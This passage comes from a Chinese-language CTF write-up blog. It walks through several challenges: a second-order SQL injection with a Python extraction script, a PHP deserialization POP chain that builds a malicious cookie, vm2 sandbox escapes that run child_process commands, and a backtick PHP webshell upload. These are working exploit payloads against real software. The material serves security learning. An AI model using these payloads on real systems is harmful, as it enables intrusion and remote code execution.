$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "<br>";
echo private_key();

?>

得到私钥为XuNhoueCDCGc,然后登录即可得到flag

逗号的绕过以及二次注入

逗号绕过以及二次注入

我们打开页面,发现只有一个登录页面,尝试进行sql闭合测试,发现失败,所以用dirsearch扫描目录,发现有

1
register.php、index.php以及login.php

所以猜测可能是二次注入,即在register.php页面注册,写入sql语句,程序会将它写入存入数据库中,然后在login.php页面登录时会从数据库中刚刚写入的sql语句,并进行读取,然后回显,所以我们可以测试一下,在register.php页面构造

1
username:0'and '1

然后在login.php页面登录后,发现有回显0,所以证明是二次注入,然后经过测试,发现information_schema被过滤,而且逗号也被过滤,所以我们可以使用

1
0'+ascii(substr(database() from 1 for 1))+'0;

来绕过逗号,其中+在sql语言中是运算符,而from 1 for 1,意思是在字符串中的第一个位置取出一个字符出来,相当于

1
ascii(substr(database(),1,1))

而对于information_schema的过滤,我们可以猜测flag在flag表中,所以我们可以构造

1
0'+ascii(substr((select * from flag) from 1 for 1))+'0;

来读取flag,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://b52b0533-2f84-4c9b-bd73-e912ab23a59f.node3.buuoj.cn/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()

pop链3之__get()和__call()魔术方法的使用

pop链3之__get()和__call()魔术方法的使用

魔术方法

1
2
3
__get():当对象调用不可访问的属性时被调用

__call():当对象调用不可访问的函数时被调用

我们打开页面,发现是注册和登录页面,所以我们在注册和登录时,随便尝试了sql注入闭合测试和二次注入,而对于二次注入的测试,可以注册时构造

1
username=0'and'1

然后在登陆时,使用这个username,发现回显页面仍然是0’and’1,所以不存在二次注入,也不存在sql注入,所以此时我们可以使用dirsearch扫描目录,发现

1
www.tar.gz

文件泄露,所以我们下载www.tar.gz文件后,解压,然后审计源码,我们可以先从控制前端输入值的代码开始审计起,即在

1
/application/web/controller

目录下的文件,我们可以查看Profile.php文件中对于上传文件处理的那一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

从这串代码中,我们可知

1
2
3
4
5
6
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

当我们上传文件时,会先检查登录的账号和密码,是否正确,如果正确,才会进行下一步

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

此时会将上传的文件名存储在$this->filename_tmp变量中,然后再对上传文件名进行md5加密,并加上.png后缀,然后存储在$this->filename中,然后进行一步

1
2
3
4
5
6
7
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}

如果此时$this->filename中的文件后缀为png的话,则会判断$this->filename_tmp的尺寸,然后将$this->filename覆盖到$this->filename_tmp中,并删除$this->filename_tmp的变量的值,并将此文件存储在/upload/$this->upload_menu/$this->filename中

但是我们在login.php文件中的login_check会将cookie中的user参数的值进行base64解密,并反序列化

而这道题的过滤点在于,它会将上传的任何文件都变为.png后缀,所以我们可以想办法利用profile.php文件中的upload_img()函数中的copy函数对原来上传的文件名(加后缀)进行覆盖,并将原来文件的内容复制到覆盖后的文件中,从而绕过.png后缀这个过滤点,因此我们需要构造一条pop来链

我们看向profile.php文件中的两个魔术方法,

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

而但对于魔术方法__call(),要对象调用不可访问的函数才可以被调用,所以可以利用register.php文件中的

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

我们只需将$this->checker设置为new Profile(),即可触发__call()魔术方法,而__call()魔术方法中的

1
$this->{$name}

则会触发__get()魔术方法,而将$this->except=array[“index”=>”upload_img”],则可以利用return $this->except[$name]调用upload_img()函数,从而实现覆盖,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace app\web\controller;


class Profile
{
public $checker=0; //绕过upload_tmp()函数的第一个if
public $filename_tmp="./upload/93df0602d768e80cec04f22bc0fb368d/432958539d6bd005179f8a48cb4ef719.png";
public $filename="upload/penson.php";
public $upload_menu;
public $ext=1; //绕过第二个if
public $img;
public $except=array("index"=>"upload_img");

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

}

class Register{
public $checker;
public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker=0;//调用pop链防止退出程序
echo base64_encode(serialize($a));
?>

然后我们只要抓包,然后将这个生成的值放入cookie的参数user中即可

参考文章:[https://blog.csdn.net/mochu7777777/article/details/105131257]

vm2沙箱逃逸

vm2沙箱逃逸

vm2 API

proxy代理

proxy用于修改某些操作的默认行为,等同于在语言层面做出修改,所以属于一种”元编程”,即对编程语言进行编程,可以理解成在目标对象之前架设一层”拦截”,外界对该对象进行访问时,都必须先通过这层拦截,因此提供一种机制,可以对外界的访问进行过滤和改写,这种操作可以被称为”代理器”

实例

1
2
3
4
5
6
7
8
9
10
var obj = new Proxy({}, {
get: function (target, propKey, receiver) {
console.log(`getting ${propKey}!`);
return Reflect.get(target, propKey, receiver);
},
set: function (target, propKey, value, receiver) {
console.log(`setting ${propKey}!`);
return Reflect.set(target, propKey, value, receiver);
}
});

上面代码相当于对一个空对象架设了一层拦截,对属性的读取(get)和设置(set)行为进行重新的定义,如果对obj里的属性进行读取或设置的话,就会有以下的结果

1
2
3
obj.count=1; //结果为:setting count!

obj.count; //结果为:getting count!

从结果中,我们可以知道对obj里的属性的读取和设置都进行了拦截

而ES6原生提供的Proxy构造函数,用来生成Proxy实例

1
var proxy=new Proxy(target,handler);

其中new Proxy()表示生成一个Proxy实例,而target参数表示要拦截的目标对象,handler参数也是一个对象,用来定制拦截行为

当然有一个技巧是将Proxy对象,设置到object.proxy属性,从而可以在object对象上调用,即

1
var object={proxy:new Proxy(target,handler)};

实例

1
2
3
4
5
6
7
8
var proxy = new Proxy({}, {
get: function(target, propKey) {
return 35;
}
});

let obj = Object.create(proxy);
obj.time // 35

proxy对象是obj对象的模型,而由于obj对象本身并没有time属性,所以根据原型链,会在proxy对象上读取该属性,导致被拦截

同一个拦截函数可以设置多个拦截操作,一共13种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
get(target,propKey,receiver):拦截对象属性的读取

set(target,propKey,value,receiver):拦截对象属性的设置

has(target,propKry):拦截propKey in proxy的操作,返回一个布尔值

deleteProperty(target, propKey):拦截delete proxy[propKey]的操作,返回一个布尔值。

ownKeys(target):拦截Object.getOwnPropertyNames(proxy)、Object.getOwnPropertySymbols(proxy)、Object.keys(proxy)、for...in循环,返回一个数组

getOwnPropertyDescriptor(target, propKey):拦截Object.getOwnPropertyDescriptor(proxy, propKey),返回属性的描述对象

defineProperty(target, propKey, propDesc):拦截Object.defineProperty(proxy, propKey, propDesc)、Object.defineProperties(proxy, propDescs),返回一个布尔值

preventExtensions(target):拦截Object.preventExtensions(proxy),返回一个布尔值。

getPrototypeOf(target):拦截Object.getPrototypeOf(proxy),返回一个对象

isExtensible(target):拦截Object.isExtensible(proxy),返回一个布尔值。

setPrototypeOf(target, proto):拦截Object.setPrototypeOf(proxy, proto),返回一个布尔值

apply(target, object, args):拦截 Proxy 实例作为函数调用的操作

construct(target, args):construct(target, args)

vm2实现原理

vm2的代码有四个主要文件

1
2
3
4
5
6
7
8
9
10
11
cli.js:实现vm2的命令行调用

contextify.js:封装了三个对象,Contextify和Decontextify,并且针对global的Buffer类进行代理

main.js:vm2执行的入口,导出了nodeVM,VM这两个沙箱环境,还有一个VMSCript实际上是封装了vm.Script

sandbox.js:针对global的一些函数和变量进行了hook,如:setTimeout,setInterval等

vm2利用es6新增的proxy特性来拦截对constructor和__proto__这些属性的访问

实例

const {VM, VMScript} = require(“vm2”);

const script = new VMScript(“let a = 2;a”);

let vm = new VM();

console.log(vm.run(script)); //2

1
运行代码的实现

首先,new VMScript(“let a=2;a”)会调用vm.Script编译代码为script

然后,let vm=new VM()会调用vm,createContext创建一个上下文context,然后引入sandbox.js将其封装为一个匿名函数anonymous,之后调用封装的匿名函数anonymous,绑定其中的this为context

最后vm.run(script)会调用vm.runInContext在上下文的context中运行script

1
而且当我们创建VM的对象时,vm2内部会引入contextify.js,针对vm.createContext创建的上下文作为参数传入,并且vm的api会将contextify.js封装为一个匿名函数
    Reflect.defineProperty(this, '_internal', {
        value: vm.runInContext(`(function(require, host) { ${cf} n})`, this._context, {
            filename: `${__dirname}/contextify.js`,
            displayErrors: false
        }).call(this._context, require, host)
    });
1
2

其中对于封装为匿名函数的contextify.js会先定义vm2的一些常量,并且会在global和this上添加了相应的属性

// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;

// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);

Object.defineProperties(global, {
global: {value: global},
GLOBAL: {value: global},
root: {value: global},
isVM: {value: true}
});

1
虽然是在函数体外部写了return语句,所以webstrom报错,但是实际上这串代码还是会封装在函数中的

return{
Contextify,
Decontextify,
Buffer:LocalBuffer
};

1
2
3
其中的Contextify和Decontextify都是两个weakmap,而weakmap是es6新增的语法,只接受对象作为键名,并且这些对象是不会被计入垃圾回收机制的,这是防止内存泄露,而这是用来存储已经被代理过的对象的

而Contextify.readonly 做了些什么

const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
allocUnsafe: function allocUnsafe(size) {
return this.alloc(size);
},
allocUnsafeSlow: function allocUnsafeSlow(size) {
return this.alloc(size);
}
});

1
而对于整个匿名函数调用的顺序是

”global.Buffer=“—->“cobtextify.readonly”—->“contextify.value”—->contextify.value“—->”contextify.function“—->”contextify.object“

1
从匿名函数的调用过程,我们可以看见最后它返回的是代理对象,而且还会做一个object.assign的操作,即将所有可枚举属性的值从一个或多个源对象复制到目标对象,然后返回目标对象,如

const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }

1
可见source的b会覆盖target的b,而覆盖的1优先级是

deepTraps > traps > {get:…, set: …}

1
2
3
4
5
6
最终会得到Buffer代理对象,而它本身仍然是nodejs提供的,只是vm2加了一层代理,所以在vm2的沙箱中访问它的属性时会被设定的方法拦截,而且Contextify.object 内部还使用了 WeakMap 来存储已经代理过的对象和对象的代理,所以在vm2沙箱环境中,如果是内部的对象,由于vm的实现机制保证了内部定义的对象无法逃逸,而对于外部引入的对象,由于vm2提供的代理机制会拦截constructor等属性的访问,从而保证这个沙箱的安全


实例

在main.js编写如下代码

const {VM, VMScript} = require(‘vm2’);
const fs = require(‘fs’);
const file = ${__dirname}/sandbox.js;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);

console.log(new VM().run(script));

1
2

在sandbox.js中编写

let a = Buffer.from(“”); //访问Buffer的from属性并调用
a.i = () => {}; //给对象添加属性
console.log(a.i); //访问对象的属性

1
2

上面已经写了Buffer是一个代理的对象,访问其所有的属性都会被拦截,而let a=Buffer.from("");代码的调用过程

Buffer.from—->代理的get拦截—->contextify.value—->contextify.function—->contextify.object

1
我们从调用过程中可以看见Buffer代理对象访问其from属性,然后被代理的get方法拦截,经过层层调用后,会返回一个函数的代理对象,而这个代理对象会被当作函数调用,会被apply捕获,apply拦截方法

apply: (target, context, args) => {
try {
context = Decontextify.value(context);

    // Set context of all arguments to host's context.
    return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
} catch (e) {
    throw Contextify.value(e);
}

}

1
然后apply拦截方法的调用过程

Buffer.from(“”)—>代理apply拦截—>Decontextify.value(context)对上下文解封装—>Decontextify.arguments(args)对参数解封装—>apply函数调用—>contextify.value对得到的结果封装

1
2
3
4
5
这里调用了Decontextify.value,实际上Decontextify的实现和contextify是对称的,只是有点略微的不同,而Decontextify.value首先会检查contextified中是否有这个对象,如果有则直接返回,没有则加一层代理

从这个函数的调用,我们知道vm2针对很多对象做了代理,但是实际调用一次函数时,会将代理的"外壳"给剥除掉,并且必须依靠nodejs提供的api来完成,如果我们可以捕获这个对象,我们就完成vm2的逃逸

之后还会执行

a.i=()=>{};

1
2
3
此时会被代理的se方法拦截

此时的value是一个函数,Decontextify.value 针对其进行了封装,返回一个函数的代理对象,就是说a.i为一个函数的代理对象,而且这个函数的代理对象中

constructor属性返回的会是host.function

1
所以当我们执行最后一行代码时

console.log(a.i);

1
2
3
4
5
6
7
8
9
会被代理的get方法拦截,但是vm2的作者通过contextify.value取出被代理之前的对象,最终还是得到原来的函数,所以无法获得被代理的函数对象

## vm2沙箱逃逸的原理

有两种逃逸方法

### 第一种vm2逃逸方法

它在proxy机制中没有定义has方法,所以我们可以在外部定义has方法,从而让它在触发has方法时调用外部的has方法,而在外部的has方法中可以通过

process = t.constructor(“return process”)();

1
2
3
来访问原型链中的construct属性,从而获得function,使用内置函数执行恶意代码

我们可以通过这个例子来理解一下has方法的触发

var handler = {
get () {
console.log(“get”);
}
};

var target = {};

var proxy = new Proxy(target, handler);

Object.prototype.has = function(){
console.log(“has”);
}

proxy.a; //触发get
“” in proxy; //触发has,这个has是在原型链上定义的

1
2
3
可见在对象target定义了get操作,所以当时使用proxy.a时会打印出get,而当"" in proxy时,由于target对象中没有直接定义has进行拦截,所以会调用外部的has拦截,从而输出has

案例1

var handler = {
get () {
console.log(“get”);
}
};

var target = {};

var proxy = new Proxy(target, handler);

Object.prototype.has = function(){
console.log(“has”);
}

1
由于Buffer.from是一个代理对象,但是在vm2内部的Object中没有has方法,所以我们可以自己给Object对象的原型中添加has方法,这时候运行

“” in Buffer.from

1
2
3
4
5
6
7
8
9
10
就会执行我们自定义的has方法,由于proxy机制,参数t为function Buffer.from,而这个function时在外部,其上下文是 nodejs 的global下,所以访问其 constructor 属性就获取到了外部的 Function,从而拿到外部的 process

修补方法是在Buffer.from中加入has方法,就不会在原型链中查找constructor 属性


### 第二种vm2逃逸方法

我们可以利用Object.defineProperty来设置对象的访问器属性

就是本来代码

var obj = {
prop: let obj = {
prop:123,
Writable: true
}

let jbo = {
get prop(){
return “get”;
},
set prop(val){
console.log(“set”+val);
}
}

console.log(obj.prop); //123
console.log(jbo.prop); //get

1
但是我们可以利用Object.defineProperty

let obj = {};
Object.defineProperty(obj, “prop”, {
get get(){
console.log(“get1”); //get1
return ()=>{return “get2”};
}
})
console.log(obj.prop); //get2

1
此时会先执行get()函数,打印出get1,返回一个函数,作为prop属性的getter,之后访问obj.prop会打印出get2,然后我们再看vm2逃逸的代码

var process;
try {
let a = Buffer.from(“”)
Object.defineProperty(a, “”, {
get set() {
Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});
return ()=>{};
}

});

} catch (e) {
process = e(() => {});
}

1
执行的过程
                  同时”异步执行在Object.prototype上添加get属性“
                                                                   /

“Buffer.from(“”)返回一个代理对象a”—>”Object.defineProperty在a上添加属性,被代理的defineProerty拦截“–>vm2内部访问到Object.prototype.get时”—>”vm2内部抛出异常并被捕获“–>“vm2再次抛出异常e”—>”捕获vm2内部的异常“–>执行e(()=>{})逃逸

1
2
3
此时a是一个代理对象,当我们在a上定义新属性时会被defineProperty拦截,而在defineProperty中有一串代码会检测descriptor上是否设置了get和set,如果是,则会调用外部的host.Object.defineProperty 去实现设置对象属性

但是在执行decriptor.get时,由于nodejs是异步的,所以会触发

Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});

1
2

抛出异常

throw x=>x.constructor(“return process”)();

1
而这个异常会被vm2内部捕获,就是这里的e

}catch(e){
throw Contextify.value(e);
}

1
然后vm2会将这个抛出的异常包装成一个代理对象之后,继续抛出,最后被我们的代码捕获

}catch(e){
let k=()=>{};
process=e(k);
}
然后会将其作为函数来调用,就会触发这个函数代理对象的apply方法,此时apply方法中的target为x=>x.constructor(‘return process’)(),context是函数的上下文代理,通过Decontextify.value 之后是 underfined,然后args是函数的参数代理,其值为()=>{},然后会先将函数的参数进行一次处理,然后反射调用函数,并将得到结果包装成代理对象,即函数的参数()=>{}是一个函数,不是代理对象,所以decontextify将其做了一次包装后,成为一个代理对象,然后这个代理对象触发get方法后的constructor属性返回host.function,所以导致了沙箱逃逸

实例just escape

打开页面,发现有提示

1
2
3
/run.php?code=(2%2b6-7)/3

/run.php?code=new%20Date()

然后构造

1
/run.php

发现有源码

1
2
3
4
5
6
7
8
9
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

此时,我们直接构造

1
?code=system("ls");

发现有过滤,然后再仔细查看

1
真的是php嘛

这句话,我们可以推测可能是其它,而nodejs也有eval()函数,所以使用Error().stack测试,发现报错

1
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

从报错中的

1
Error at vm.js:1:1

我们可以猜测可能是vm2沙箱逃逸,所以我们可以利用vm2沙箱逃逸来执行恶意代码,所以我们可以使用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

或者使用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
```

其实简单的说就是利用()=>{}这个函数被包装成代理对像,而这个代理对象中的get方法的constructor属性的返回值为host.function,所以利用其来使用内置类来执行恶意代码

但是这里有对特殊字母有过滤

for, while, process, exec, eval, constructor, prototype, Function

1
2
3
4
所以我们可以利用在关键字母上加反引号`来绕过


或者使用${${prototyp}e}来绕过,即

/run.php?code=(function (){
TypeError[${${prototyp}e}][${${get_proces}s}] = f=>f[${${constructo}r}](${${return this.proces}s})();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e${${get_proces}s}.mainModule${${requir}e}[${${exe}cSync}](cat /flag).toString();
}
})()

```
即可得到flag

参考文章:[https://www.anquanke.com/post/id/207291]

[https://www.anquanke.com/post/id/207283]

[https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy]

[https://github.com/patriksimek/vm2/issues/225]    

[https://www.freesion.com/article/92951402280/]                                            

反引号的使用以及php短标签

反引号的使用以及php短标签

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

我们可以看见源码中有两个自定义函数waf()和check()函数

对于第一个waf()函数,我们可以知道

1
2
3
4
5
6
7
8
9
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

当输入的值为数组时会进入一个死循环,而当输入的值部位数组时,会进入check()函数

1
2
3
4
5
6
7
8
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

可见正则过滤了空格、下划线、^、+、eval、{、},且由于是

1
/ /i

所以是不区分大小写,而对于主体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}

可知,当?action=pwd时,会回显路径

1
sandbox/f2f0c289641ba52db7d0edeb85513ada/

而我们?action=upload时,会将$data的内容写入到

1
sandbox/f2f0c289641ba52db7d0edeb85513ada/index.php

所以我们可以利用这个一点来构造恶意代码,但是它过滤了php,所以我们可以使用php的短标签

1
2
3
<?= ?>相当于<?echo ?>

<? ?>

而php有一个特性,就是当php代码中有反引号闭合的,就会将反引号闭合的当作是shell命令执行,相当于shell_exec(),所以当禁用shell_exec()时失效

因此可以构造

1
data=<?`cat%09*`?>

其中%09是绕过空格过滤的,这样即可读出flag

$_SERVER['QUERY_STRING']绕过以及 y1ngzuishuai 的正则匹配绕过以及$_REQUEST 的字母匹配绕过以及sha1()函数绕过以及create_function () 代码注入

$_SERVER[‘QUERY_STRING’]绕过以及 y1ngzuishuai 的正则匹配绕过以及$_REQUEST 的字母匹配绕过以及sha1()函数绕过以及create_function () 代码注入

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

通过对代码的审计,我们可以利用

1
2
include "flag.php";
$code('', $arg);

来构造函数,执行恶意代码,但是我们需要绕过6个if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))


if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')


foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))

if (file_get_contents($file) !== 'debu_debu_aqua')

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

对于第一个if,我们可以看向$_SERVER[‘QUERY_STRING’],作用是获取查询语句,即获取?后面的值,而$_SERVER[]还有其它的参数的值,作用各不相同

1
2
3
4
5
$_SERVER["REQUEST_URI"]:获取http://localhost后面的值,包括/

$_SERVER["SCRIPT_NAME"]:获取当前脚本的路径

$_SERVER["PHP_SELF"]:获取当前正在执行脚本的文件名

$_SERVER[]使用的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

而$_SERVER[‘QUERY_STRING’]有个特性,就是不会进行URLDecode,而$_GET[]会,所以可以通过url编码绕过第一个if

对于第二个if

1
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

